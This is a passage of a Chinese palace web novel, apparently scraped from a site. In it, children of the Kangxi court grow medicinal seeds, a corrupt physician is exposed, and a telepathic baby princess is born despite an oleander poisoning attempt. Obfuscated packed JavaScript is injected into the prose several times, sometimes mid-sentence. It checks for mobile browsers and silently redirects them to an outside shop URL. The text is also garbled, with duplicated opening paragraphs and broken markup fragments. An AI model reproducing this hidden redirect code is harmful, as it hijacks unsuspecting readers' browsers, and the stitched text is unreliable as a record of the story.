四公主闻言,想起自己初见婉菱时,也曾得过这么一句夸,当下心思一动,几乎要脱口问出“那究竟谁的声音更好听”。 可转念想到方才才惹恼了二姐姐,忙咬住下唇,硬生生把话咽了回去。 二公主听得小妹妹这一夸,心里像漾开了一捧蜜,笑吟吟追问道:【那你觉得,我的声音是不是这里最好听的呀?】 婉菱似是认真想了想,才带着几分犹豫轻声道:【嗯……这个,好难判断呀。】 大公主一说话,二公主便松了手,良贵人道:“二公主可以过来听听。” 二公主刚将耳朵贴上去,婉菱便也将脸颊往那处贴,道:【二姐姐,你的声音可真好听。】 四公主想着第一次见婉菱时,她也是这么夸自己声音的,当下想要调侃下,问问到底谁的声音更好听。 但是一想到刚刚惹恼了二姐姐,便咬住了下唇,没有出声。 二公主听见小妹妹夸自己,心里乐开了花,笑道:【我的声音是不是这里最好听的?】 婉菱道:【嗯,这个很难判断呀。】 大公主笑道:“是所有人的声音都好听吗?小妹妹,你可真会说话。” 婉菱笑道:【我叫做婉菱,你们也可以唤我小菱角。】 “小菱角?好可爱的名字!是汉话。”二公主笑道,“我叫做伊拉拉,在汉话中是‘盛开的花’的意思。” 她们这回来,可不单是瞧瞧婉菱,更想亲眼看看胤祺前几日亲手栽下的那些种子,如今可发了芽没有。 胤祺挠了挠后脑勺,有些不好意思地笑道:“哪有这么快呢?种子才埋下去几天,太医说了,至少也得等上十来天才能见着苗呢。” 四公主在一旁轻轻摇头,眼里带着促狭的笑意:“依我看呀,你这苗怕是等不到破土的那天喽。” 胤祺不解:“为什么?” 四公主朝大公主递了个眼色,大公主便温声接道:“傻孩子,眼下是冬天呀。大多花草都怕冷,这时候哪能轻易生长?你若真想种,就得栽到温室的花盆中去才行。” 胤祺恍然点头,语气里带着钦佩:“原来是这样,还是大姐姐懂得多。” 大公主微微一笑,温声道:“我特意查了怀牛膝的种法。你且记着:要先用温水浸上一夜,再用湿纱布裹好,闷上一天。之后才能撒进透气的花盆里,约莫等个十来日,苗就该出来了。” 二公主闻言,也认真道:“既然这怀牛膝对老祖宗的膝痛有好处,那我也要种。多种几盆,成活的指望也大些。” 三公主点了点头,期待地看着大公主。 她也想要种植,但是不好意思说,怕说出来被人指责是想要故意讨好老祖宗。 如果大家都想要种植,那么她随大流就没有人会多说什么了。 大公主颔首:“这话很是,我回去也试着种一些。” 她想起什么,又问胤祺:“你那儿可还有多余的种子?” 胤祺摊了摊手:“统共就得了五颗,已全种下了。不过……我见张太医那儿还收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228910|197605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着满满一盒呢。” 四公主笑道:“那趁着天色还未晚,我们赶紧去要,就比一比谁出苗快!” 几个孩子找到了太医院,可是今日并不是张太医值班。 刘太医却一脸忧色,压低声音道:“主子们有此孝心,太皇太后知道了一定很高兴。只是……唉,恕奴才多嘴,这种子娇贵得很,莫说浸种、催芽的时辰火候极难掌握,便是发了芽,十棵里也难活一两棵。更棘手的是,若培育不当,土中易生晦气病气,反恐冲了宫中的祥和。各位金枝玉叶岂能为这等繁琐又带风险之事劳神?” 大公主闻言,神色顿时凝重起来。她深知天花的可怖,若真因几颗种子引来天花等晦病之气,那便是万死莫赎的罪过了。 二公主却仍有些不解,轻声问道:“可这不是治病救人的药材么?怎么反倒会带来病气呢?” 刘太医深深一揖,言辞恳切中带着不容置疑的谨肃:“二公主明鉴,此物确是药材,却也正因是‘药’,才更需慎重。老话说‘是药三分毒’,其生发培育之中,水土、气候若有毫厘之差,药性便可能生偏转邪。且太医院所有药材种子,皆需造册登记,专供御药房调配所用,奴才……实在不敢擅动分毫。” 大公主轻轻拉过二公主的手,温声劝道:“妹妹,太医所言在理。既是宫中药材,自有它的规矩。我们便不要为难刘太医了。” 刘太医闻言,面上的笑意深了几分,躬身道:“大公主殿下深明大义,体恤下情,奴才感激不尽。” 几人从太医院出来时,来时那股兴冲冲的劲头早已消散,个个垂头不语,与先前进门时的意气风发截然两样。 胤祺脑袋晕晕乎乎的,并没有听懂刘太医说什么,只是知道不能种了,他左右张望一番,忽然“咦”了一声:“怎么不见四姐姐?” “我在这儿呢!”话音未落,只见四公主提着袖口,从里头轻手轻脚地溜了出来。她朝众人飞快地使了个眼色,压低声音道:“快走,先回去再说。” 见她这副神神秘秘的模样,几人心里都浮起疑惑。 果然,刚走出太医院不远,四公主便停下步子,小心翼翼地从袖中掏出一把东西。 十几颗浑圆棕黑的种子,正静静躺在她掌心。 五阿哥眼睛一亮,几乎叫出声来:“是种子!” 大公主拈起一颗种子,对着光仔细瞧了瞧。形态确与医书所载有几分相似,但她仍谨慎地问道:“四妹妹,你当真能确定这便是怀牛膝的种子?” 四公主扬起下巴,眼中闪着得意的光:“那装种子的锦盒外头,清清楚楚贴着‘怀牛膝’三个字的签子呢!” “呀!四妹妹,你也太机灵了!”二公主忍不住轻轻拍手,赞叹道。 四公主压低声音,带着几分冒险后的兴奋:“我可够不着那高架子,还悄悄搬了凳子呢。幸好一点声响都没出。” “不过也多亏了有你们分散他的注意力。”说到此处,她又撇了撇嘴,“那刘太医也忒小气,不就是几颗种子嘛,宝贝得像什么似的。” 一旁的三公主却轻声开口:“可刘太医方才说的……也并非全无道理。” 13. 第 13 章 “有个屁的道理!”四公主反驳道,“你们想想,若是这种子真的可能传染病气,为什么张太医要给五弟呢?怎么五弟种植后太医院的人也没有专门过来阻止呢?” “四妹,你好粗俗!” 二公主掩口轻笑。 三公主觉得四妹妹说的有理,便也不再争辩。 大公主沉吟片刻,开口道:“既然如此,为稳妥起见,明日我们再多问几位太医,尤其是张太医本人。” 众人皆点头称是,各自领了三、四颗种子,便散去了。 刘太医虽在太医院任职,却也并非能够一手遮天。他只能私下嘱咐自己带的两名徒弟切莫多言,心中也以为此事至此便会平息。 谁知道第二日,几位公主与胤祺竟从张太医口中得到了肯定的答复:此物可以种植。 张太医翻寻半晌,终究无奈道:“怀牛膝的种子一时不知收在何处,怕是难以寻得了。” 四公主顿时攥紧双手,愤然道:“昨日那个山羊胡子他定是故意藏起来,不愿让我们种植,谁知道打的什么主意!” 大公主却微微摇头,温声道:“不可妄加揣测。刘太医或许也是出于谨慎,怕我们种植时出了差错,惹来麻烦。” 胤禟打心眼儿里喜欢亲近八哥。 比起总是板着脸的四哥、反应慢半拍的五哥和寡言少语的七哥,八哥在他心中简直是完美无缺的。 就连教习嬷嬷都觉得他顽皮,虽然不曾明说,可眼中的嫌弃却瞒不过人。 九阿哥年纪虽小,对这样的目光却像小兽一样敏锐。 偏偏与他一同启蒙的八哥,永远那么聪慧温润。 《千字文》里认不得的字,八哥总会耐心地、一遍遍地教他念和写。 于是,胤禟顺理成章地成了八哥的小尾巴。 八哥去哪儿,他便跟到哪儿。 即便是下了学,八阿哥得了惠妃准许去慈宁宫陪良贵人用膳,九阿哥也照样黏在身边,一道跟去。 宜妃坐在饭桌前,眼瞧着菜肴渐凉,却迟迟等不到那小混蛋儿子的身影,眉头不由得越皱越紧。 直到慈宁宫来人传话,说九阿哥今晚留在那儿用膳了,她这才咬了咬唇,对郭贵人母女道:“我们用膳吧。” 说完狠狠往嘴里塞了一片鹅肝,嚼得咯吱作响。 心里那股酸意止不住地往上冒。 自己在儿子心里头一份的位置,竟叫八阿哥给占了去。 可偏偏对方只是个孩子,她连吃醋都得小心翼翼,生怕落个小心眼的名声,以后都没脸见人了。 一旁的郭贵人看出了宜妃的不爽,说道:“也不知慈宁宫有什么魔力,一个个小的大的都爱往那儿钻。” 说罢,她目光转向正在旁边埋头吃饭的四公主,话里似有似无地飘着另一层意思。 四公主被额娘揶揄惯了,并不在意,只是拿着一个黄焖鸡腿在啃,这鸡腿真好吃,小九不回来,她多吃点。 景仁宫中,康熙正陪着佟佳氏用膳,目光忽然落在胤禛手上那三道鲜明的伤痕,眉头顿时拧起:“这伤是怎么弄的?” 瞧着像是利刃所割,可谁敢让皇子受这样的伤? 胤禛性子倔强,东西还没做到满意,反倒先伤了手,一时抿唇不语,暗自气恼自己无用。 佟佳氏悄悄瞥了胤禛一眼,生怕皇帝觉得是她这养母照料不周,便温声解释道:“是这孩子近来在学着刻金锁。良贵人还有两个多月便要临盆了,他听人说过,若是亲人亲手制作的金锁,最能护佑婴孩平安,便悄悄备起来了。” 康熙闻言一怔,随即胸中涌起一阵温热。 这孩子,有心了。 或许是因为他亲弟弟今年去世了,便会这般挂念未出世的妹妹。 但康熙还是沉了脸,语气里带着不容置喙的威严:“即便如此,内务府也该派个妥帖的匠人从旁指点。皇子之手,岂能轻易伤损?” 胤禛低下头,声音虽轻却清晰:“是儿子……未曾告诉旁人,只向内务府要了块金子。” “你是说,你想自己从头琢磨,独自完成?”康熙微感诧异,与身侧的佟佳氏交换了一个眼神。 佟佳氏会意,柔声接道:“四阿哥这份心,实是难得。只是刀石无眼,陛下也是心疼你,你以后切莫如此了。” 她眼中流露出真切的关怀,胤禛感受到了,心里暖暖的。 康熙凝视着眼前身形尚显单薄、眼神却格外执拗的儿子,心中那点因他受伤而生的薄怒,渐渐被一种更为复杂的情绪取代。 这孩子以前读书时便是如此,喜欢沉默着琢磨钻研,还被上书房的先生夸赞过用心。 龙生九子,果真各有不同。若太子在课业上也能有这般执着,倒更好了。 不过太子天资颖悟,勤勉听话,已然难得。倘若他也像胤禛那样不慎伤了自己……康熙深知自己的震怒怕是要比现在多上十倍。 昨夜又降了一场罕见的大雪,晨起时紫禁城已是一片皑皑。五阿哥胤祺兴冲冲地拎着个小竹筐跑来,眉眼间尽是跃跃欲试的光:“今儿我要捕鸟!” 【捕鸟?】 婉菱的母亲是北地人,她每年随母亲归宁时,也常跟着表哥表姐们在雪地里设筐捕雀。只是她手笨,十回里倒有十回落空。 【五哥哥……你能捉着么?】 婉菱心里觉得,这位五哥哥也不是个多机巧的孩儿。 五阿哥一听这无声的质疑,立刻挺起小胸脯,信誓旦旦道:“你且瞧好,待我捉住了鸟,定拿来给你玩!” 一旁的良贵人倚在榻上,眉间却拢着一丝忧色:“这事儿,你可曾向太后娘娘禀告过?” 五阿哥笑吟吟点头:“说过了!皇祖母道,这比堆雪人儿还好呢。因着能在屋里头等着,不怕冻着身子。” 良贵人这才放下心,不再多言,只将暖被往上拢了拢,一只手轻轻覆在隆起的腹间,她好想快点见到小婉菱呀。 如今有太后照拂着,又常有几个小阿哥、公主过来走动,日子总算不像从前那般沉寂了,渐渐透出些鲜活的生气。 大公主手下的三颗苗都出了芽,三公主与四公主的也长出了两棵,二公主的却只冒了一株。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228911|197605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 至于五阿哥,他前几日不慎浇了滚水,一盆刚刚破土的芽儿全烫蔫了,其他的种子还未有反应,估计是出不来了。 二公主掩口笑道:“好歹有五弟垫着底,我倒也知足啦。” 胤禟在一旁扯着四公主的袖子嘟囔:“你们玩这个,偏不带着我!” 四公主指尖轻点他额头:“还不是怕你这张小嘴到处嚷嚷?若叫皇阿玛知道了,说我们胡闹可怎么好?” “是谁在背后编排朕?” 帘栊一动,康熙含着笑意的声音已从门外传了进来。 四公主慌忙掩住嘴,一张小脸微微发白。 她额娘在宫里并不算得宠,若真惹了皇阿玛不快,怕是没人能替她转圜。 九阿哥却已伸手指过去,告了她一状:“是四姐姐说——哎哟!” 他话未说完,屁股上便挨了四公主悄悄踹过来的一脚。 四公主赶忙敛容,干巴巴地解释:“皇阿玛……我绝没有那个意思。” 康熙自然不会真与女儿计较,目光已温和地转向良贵人:“这几日身子可还好?” 良贵人温婉一笑,柔声道:“多谢陛下挂怀,嫔妾与腹中孩儿俱安。” 【皇阿玛好。】 康熙扶着她缓缓坐下,宽厚的手掌轻轻抚了抚那隆起的弧度,眼中含笑,对着腹中温声道:“小婉菱也好。” 婉菱大约是这深宫里,唯一一个尚未出世便得了名字的公主,偏偏这名字,还是“她自己”取的。 康熙抬眼环顾四周,见满室儿女济济,不由笑道:“你们这一屋子人,聚在这儿做什么呢?” 人确是多了些,连暖阁都显得比平日更狭小热闹。 大公主脸上带着雀跃,答道:“回皇阿玛,前些日子我们种下的怀牛膝种子,都已发芽出苗了!长势可好呢,待到明年秋日,便能挖根为老祖宗入药了。” 康熙眉梢微扬:“哦?竟真的成了?” 他初时听说这群孩子捣鼓这些,只当是小打小闹,并未放在心上,由着他们玩去罢了。 可若连这般年纪的孩童都能将怀牛膝种活…… 二公主已笑嘻嘻地挽住他的胳膊:“皇阿玛,要是我们真能治好老祖宗的腿疾,您可要赏我们什么呀?” “东西还未收成,倒先讨起赏来了。”康熙伸指轻点她光洁的额头,眼底却漾着笑意,“放心,到时候自然少不了你们的。” 二公主心满意足地抿嘴笑了,而一道软乎乎的心音恰在此时飘来: 【几位姐姐真厉害,比专门种地的农人伯伯还强呢。】 这话恰巧戳破了众人心照不宣的疑窦,康熙眸色一沉,当即吩咐:“来人,去查个清楚。” 梁九功躬身领命而去。那厢太医院里,刘太医自打听说几位公主种下的怀牛膝竟出了苗,便终日心神不宁,夜里辗转难眠。 张太医见他面色憔悴,眼下乌青愈重,不由凑近关切:“刘太医,您这是怎么了?近日可是遇上了什么棘手的脉案?” 总不会是背着他彻夜苦读医书,存心要“卷”过他吧? 14. 第 14 章 刘太医狠狠剜了他一眼,心中暗骂:还不都是你惹出来的事! 他转身又匆匆去了内务府。这回高公公嘴上虽还说着“莫慌、莫慌”,手底却一个不稳,“哐当”一声,将茶碗摔落在地。 这是不好的兆头啊! 苗株日渐抽高,小小的花盆已盛不下。康熙便命内务府将暖棚辟出一隅,专门移栽这些怀牛膝。 五阿哥虽不曾亲手育出苗来,却比谁都上心,几乎日日都要往暖棚里跑。 现在,那暖棚里只剩下最后两株怀牛膝的苗了。 每一回瞧见有一株蔫了、黄了,胤祺的心就跟着揪一下,总忍不住去问看管的人: “是不是水浇少了?还是晒得太过了?” 他眼巴巴地望着这两株幼苗,但愿它们能好好长大。 这日从暖棚出来时,他袖口不经意被两片柳叶状的碧青叶子勾住了。他未多留意,直到蹦跳着来找婉菱顽耍,良贵人才瞧见,轻轻替他摘了下来。 五阿哥捏着那片叶子看了又看,又凑到鼻尖嗅了嗅,奇道:“这叶子怎地还沁出白浆来?闻着……涩涩的。” 同样为白色的羊乳却是香甜可口的。 他好奇地想把舌尖凑近尝一尝,却被良贵人一声轻斥止住。 良贵人蹙眉问道:“你可晓得这叶子是什么?” 五阿哥眨了眨眼:“我记得这株夹竹桃,是张太医特意让种在怀牛膝边上的,说能驱虫。” 果然是夹竹桃。良贵人心中一紧:“快拿远些,这东西……对胎息不宜。” “啊?”五阿哥吓了一跳,忙不迭将叶子扔开,又捡起来,转身就跑了出去。 他仔细洗了好几遍手,又换了一身干净衣裳。可低头闻了闻袖口,仍觉得不踏实,索性叫人备水,里里外外沐浴一番,这才清清爽爽地回来找婉菱。 胤祺垂着小脑袋,低声道:“良贵人,对不住……今日我不是有意的。” 良贵人轻抚他的肩,柔声笑道:“不妨事,你自然是无心的。说来也是巧,我从前在御花园当值时,偶然听老宫人提过几句,这才有些印象。” 胤祺笑道:“原来如此,看来是天意不让这起乌龙害到妹妹,妹妹果然是福星。” 良贵人语气温和却认真:“胤祺,你须得记住,往后无论见了什么,都不可随意往嘴里送。这夹竹桃的汁液虽有毒,却非立时毙命之物;若遇上那等见血封喉的,岂不是要闯下大祸?” 胤祺郑重地点点头:“良贵人教诲的是。” 恰在此时,一道稚嫩的心音软软飘来: 【五哥哥,那夹竹桃的味道涩涩的,一点儿也不好闻呀,你怎么还想尝呢?莫非是今日午膳没吃饱?】 胤祺耳根一热,朝着良贵人腹部的方向虚虚瞪了一眼:“不许笑话我!等你出来了,看我不挠你脚心!” 这已是他能想到的最厉害的“报复”了。每回他淘气犯错,皇祖母便是这般罚他的。 一个多月后,梁九功将查明的关联网层层揭开,以刘太医、高公公为首的一干人等皆被打入大牢,严加审讯。 太皇太后用上了药效更足的怀牛膝,膝上的陈年酸痛舒缓了许多。 她倚在软枕上,轻轻叹道:“人哪,一旦坐在某个位子上,最怕的就是生了私心。那位高公公,一生无儿无女,连爹娘也早不在世了,却还是放不下家乡那点事。” 康熙面沉如水,声音里压着怒意:“皇祖母是万金之躯,所用的药材竟连市井寻常铺子里卖的都不如。这分明是底下人串通一气,故意以次充好,欺瞒主上。” 太皇太后拍了拍他的手,缓声道:“我听说,这怀牛膝多长在山坡林边、溪涧湿土里,药农去采时,得攀陡坡、踏险地,常有人被蛇虫咬伤,甚至跌落受伤。玄烨啊,此事既已揪出首恶,便不必牵连过广了,免得寒了那些真正辛苦劳作之人的心。” 皇室成员整日养尊处优,甚至连土都不曾碰过,哪里知道药农采摘时的辛苦? 康熙神色稍霁,颔首应道:“孙儿谨记皇祖母教诲。” 除夕之夜,皇帝在太和殿宴集群臣与后宫,丝竹鼎沸,灯火煌煌。 良贵人却独自待在暖阁里,守着寂静的岁。 这两日,便是太医推算的产期了。连良贵人与腹中的婉菱都隐隐觉着时候快到了。 她们母女,终于要相见了。 良贵人不止一次在脑海中描摹过女儿的模样,甚至忍不住提笔去画。可画来画去,总觉得纸上的人儿,不及心里那个声音的万分之一生动。 “啊……” 她正倚在软榻上,忽觉腹底一沉,像是被什么温和却不容抗拒的力量向下牵引。 几乎同时,那道熟悉的心音轻轻响起,带着几分朦胧的兴奋: 【娘亲,我好像……要出来了。周围暖暖的裹着我的东西,正柔柔地推着我往前滑……手脚有些发麻,可是,又好像比先前自在多了。】 话音未落,里头的小人儿似乎伸了伸腿,恰好蹬在良贵人腹侧。 “我……我快要生了!” 良贵人攥紧被褥,声音里带着压抑的痛楚与兴奋。 守在一旁的宫女闻言,立即转身奔出暖阁,脚步声急促地消失在房间门口。 “吐气……别憋着!跟着老奴的劲儿来!” 两位主事的接生嬷嬷早已就位。 张嬷嬷立在榻前,用娴熟的手法推按着良贵人的腰腹,助她顺气发力;王嬷嬷却从怀中取出一只小瓷瓶,挤出些乳白色的膏体,在手心揉搓开来。 张嬷嬷余光瞥见,手中动作微顿:“这是何物?” 王嬷嬷低声道:“是外头新传进来的舒缓膏,说是比热敷更见效。近日好些贵人家里生产,都用这个。” 张嬷嬷眉头蹙起,迟疑道:“这……妥当么?” 然而王嬷嬷与她搭档多年,且资历更老,此刻又是千钧一发之际,张嬷嬷终究没再怀疑下去。 良贵人额上冷汗涔涔,全部心神都凝聚在腰腹间那股下坠的力道上,并未察觉那药膏有何异样。 可婉菱却轻轻吸了吸鼻子: 【娘亲,这气味……好熟。涩涩的,怎么像极了五哥哥那日带回来的夹竹桃叶子?】 这话如一道惊雷,陡然劈进良贵人耳中。她猛地抬眼,盯住王嬷嬷手中那抹乳白:“拿开……我不要用这药膏!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228912|197605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>王嬷嬷手未停,声音依然平稳:“贵人莫怕,这膏子正是助您顺产的。” 说罢,竟径直将手心往良贵人腹上按去。电光石火间,一旁的张嬷嬷已横过手臂,牢牢挡住了她: “错了!该敷的是这儿,这是我的位置。” 良贵人急促喘息着,用尽力气挣扎道:“那药膏……有毒!快拦住她!” “什么?!” 一旁侍立的丫鬟夏阳闻言,立刻上前死死按住了王嬷嬷的肩膀,不让她再靠近半分。 张嬷嬷惊出一身冷汗,难道王嬷嬷当真存了歹心? 再低头一看,因方才良贵人骤然泄了力,孩子的胎头虽已入盆,此刻要顺出来却格外艰难了。 “良贵人用力呀!莫再说话,留足气力往下使!”张嬷嬷急声喊道,手心也跟着渗出了湿冷的汗。 良贵人已脱了力,婉菱却很懂事,向着一个既定的方向努力游动,便游至张嬷嬷手边,被后者稳稳接住,一点一点带出来。 小婴孩一离母体,竟不哭不闹,反冲着张嬷嬷无声地弯了眼睛。 “哟,这孩子……落地就会笑呢。” 张嬷嬷心头一诧,手上却仍是稳的。 到底接生多年,再奇的景象也不曾让她失手。 只是暗自庆幸:若方才真惊得松了手,莫说自个儿,便是九族的性命也抵不过这一摔。 夏阳道:“什么味道?” 张嬷嬷低头嗅了嗅,笑道:“好像是这小公主身上带来的香气。” 但是也不能确定,因为屋内还夹杂着血腥气等各种气味。 良贵人气若游丝道:“快……抱来我瞧瞧。” 张嬷嬷却低声道:“贵人莫急,孩子刚落地,得哭出声来……才算稳当呢。” 她先用热水浸过的软帕,轻轻拭去婉菱口鼻间的污浊,随后抬起手,在她后背不轻不重地一拍。 婉菱冷不丁挨了这一下,本能地“哇”一声啼哭出来。 哭声落下,她才后知后觉地生出几分羞赧,暗道自己好歹也是上过一年级的人了,竟真就这么哭了出来。 张嬷嬷已将孩子裹进襁褓,笑着贺道:“小公主啼声清亮,中气十足,是个康健有福的。” 良贵人倚在枕间,苍白脸上浮起一丝虚弱的笑:“有劳您了。” 她并非头回生产,只是上一胎生下八阿哥时,她在最后脱力昏了过去,醒来时孩子早已收拾妥当,因而并不懂得这些细致规矩。 康熙大步流星跨过门槛,将一室寒风严严实实挡在了身后。 他一手解开那件镶着明黄滚边的玄狐披风,头也不回地向后一扬。 梁九功早已躬身上前,稳稳接在怀中。皇帝脚下未停,径直朝内室走去。 “参见皇上!” “恭贺皇上,母女平安!” 康熙一抬手:“都起来。” 他的目光径直落向那个面色红润的婴儿。 这就是婉菱……他心中微动,果然生得玉雪可爱。 【原来这就是我的皇阿玛,好高呀,他的眼睛里是有小星星吗?】 几乎同时,一句稚嫩的童音毫无征兆地撞入他耳中。 15. 第 15 章 康熙微怔,随即眼底笑意骤浓,畅快的笑声自胸膛震出: “哈哈哈……好!来人,传朕旨意,即刻册封小公主为固伦瑞安公主!” 祥瑞护佑,平安长乐。最后四个字是身为父亲对女儿最好的祝愿了。 “多谢陛下。” 良贵人心里一暖,挣扎着要起身,又被康熙阻止道:“你刚刚生产完,不许起来,好好养着。” 说完,方才看向那角落处被绑住的王嬷嬷,问道:“这是何人?” 夏阳道:“此人居心叵测,用这有毒的药膏要在贵人生产时害贵人。” 王嬷嬷已然抖如筛糠,自己没有办成事,反而被抓住了,这下完蛋了,儿子的前途没有了,家里的九族也被自己拖累了。 康熙的声音沉冷如冰:“说,是谁指使你的?” 是贵妃。可贵妃母族势大,前些日更因丧女之痛重获怜惜,复了贵妃尊位。 王嬷嬷牙关紧颤,她不敢供出贵妃,不然自己乃至全族恐怕都难逃事后清算。 心一横,她猛地抬起头,眼中烧起一股豁出去的狠厉,直直瞪向良贵人:“无人指使!是老奴自己要报仇!两年前徐常在对老奴有恩,可她……她就是因为良贵人您,才被活活杖毙的!” “徐常在……”良贵人脸色倏地惨白,唇瓣轻颤,还未及出声,身子便软软倒了下去。 “良贵人!” 康熙一步上前,掌心紧紧攥住她的手,眼底翻涌着怜惜。 虽谈不上多么深爱这女子,可眼见她屡遭算计,如今又被旧事重创至此,康熙心底仍不免掠过一丝复杂的恻然。 【娘亲……娘亲你怎么了?】 稚嫩的心声带着慌急传来。康熙目光落回怀中婴孩,低声道:“她只是乏极晕厥,无妨。” 【哦……】 刚才出来时耗费了太多力气,小婉菱得了这句回应,心神一松,终于抵不住沉沉困意,蜷在康熙臂弯里睡熟了。 这孩子睡觉时真可爱,康熙的鼻尖微动,凝眸暗自思索:“这类似于晨间荷露般淡而温润的香气,莫非是婉菱身上带来的?” 果然是祥瑞福星,就是不一样。 “也不知婉菱现下如何了……偏这产房,只皇阿玛进得。” 大阿哥在大堂内踱了两步,眉头拧得紧紧。 五阿哥伸手扯了扯他袖角,小声却笃定道:“大哥莫急,婉菱妹妹是小福星,定会平安的。” 胤禛坐在窗边,望着窗外飘落的雪,指节无声收紧,将那枚小小的金锁攥进掌心,唇线抿成一道沉默的弧。 八阿哥作为一母同胞的亲兄,更是浑身绷得像拉满的弓弦。 九阿哥一双小短腿无意识地踢着雕花木凳,嘴噘得老高,眼神却空落落地发着怔。 太子将兄弟几个的模样一一看在眼里,心中不由浮起一层淡淡的疑惑:不过是个刚降世的小公主,怎就引得他们这般挂心? 这几个月来,他即便是去慈宁宫请安,也是即刻便回,从未见过良贵人。 至于兄弟们在上书房时常议论的、能与婉菱“隔空交谈”之事,在他听来更是无稽之谈。 最蹊跷的,还是皇阿玛那没来由的偏爱。 婉菱的额娘不过是个无甚根基的贵人,当年生八阿哥时也不见这般上心,如今却几乎隔三两日便要往慈宁宫去一趟。 人人都围着那个小丫头转,可他胤礽偏不。 他生来就是大清的储君,何必去凑这份热闹? 这些弟弟妹妹们,究竟是真心喜爱,还是借着这新得的妹妹,在皇阿玛跟前争一份目光? 念头一转,他又扯了扯嘴角。 身为太子,他自幼便被皇阿玛牢牢盯着:每餐用了几粒米、每日说了什么话,都要一一报至御前。 不能像寻常阿哥那般爬树嬉雪,还得“心甘情愿”地勤学苦读、自律克己。 如今皇阿玛既如此偏疼这小公主……若是过些日子将她接来乾清宫亲自抚养。 皇阿玛的目光,会不会就能从他身上挪开几分? 未过多久,康熙大步返回,眉宇间是掩不住的欣然快意。 胤礽垂眸立在众人之前,心头却无端涌起一股酸涩的烦闷。 自幼在皇阿玛身边教养长大,他太懂得如何辨识君心。 正因懂得,此刻才更觉刺眼。 众人闻听婉菱甫一落地便被册为固伦瑞安公主,俱是一怔,随即齐声贺道:“恭喜皇上!贺喜公主!” 几位老臣悄然交换了眼色,心中暗忖:这位良贵人究竟是何方神圣?这些时日竟圣眷骤浓至此。 毕竟,任谁也难以想象,早在孩子降世之前,康熙心中便已生出这份深重的父女情分了。 婉菱出生这几日,见了好些哥哥姐姐,却独独没见着太子哥哥和八哥。 太子哥哥是忙,八哥却是染了风寒,连床都起不来了。 【希望八哥快些好起来……】 良贵人尚在月子里,眉心也总是蹙着,带着淡淡的忧色。 这日,五阿哥胤祺一阵风似地跑进来,手里举着一样东西,欢声道: “婉菱妹妹!我去瞧过八弟了,他的发热已经止了,只是还有些咳嗽,为了避免传染你病气,不能过来。你快看,我给你带了什么?” 他这么一说,婉菱心里那点愁云才散了散。她抬眼望去,只见一朵洁白带黄的花静静绽放。 【五哥,这是什么花呀?白莹莹的真好看,里头还透着嫩嫩的黄。】 “这叫水仙花,还有个雅号叫‘凌波仙子’!”胤祺眼睛亮晶晶的,声音里带着几分得意,“老祖宗说,它是一位顶顶漂亮的女神仙变的!” 婉菱听得入神,忍不住在心里轻叹:【原来真是神仙花呀……那以后别摘它了,万一神仙怪罪可怎么得了。等过几日天暖些,五哥你抱我去暖房看好不好? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228913|197605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 】 胤祺立刻用力点头,小手拍了拍胸脯:“包在我身上!” 良贵人靠在枕上,看着两个孩子稚气的模样,温柔地笑:“你五哥自己还是个孩子呢,哪儿抱得动你呀。” “我抱得动!我早就不是小娃娃了!”胤祺不服气地鼓起脸颊。 婉菱在心底悄悄应道:【那你推着我去吧……我想坐最最华丽的带遮阳篷的婴儿车。】 她在现代时,记忆是从四岁后才开始清晰起来的。每每跟那些三岁就记事的小伙伴聊天,就觉得很失落。 如今不同了,她在娘胎里便有了感知。 婴儿车? 胤祺困惑地歪了歪头:“妹妹是说……那种小巧的暖轿么?可那得让两个人抬着,不如找四哥来一起抬轿……” 婉菱也蹙起了小小的眉头,她形容不出来,只好含糊地重复:【不是轿子……是有轮子,能不费力气轻轻一推就走的那种……】 胤祺听不大懂什么是“轮子”,目光落到她颈间那枚精致的金锁上,道:“四哥送你的金锁真好看,我也要为你备一份满月礼!” 良贵人本想笑着劝他不必破费,可婉菱已经眉眼一弯,在心里软软地应了声: 【那就先谢谢五哥啦。】 这孩子,还真是不客气。 不过看到女儿得到了这么多人的爱,她心里也实在是高兴。 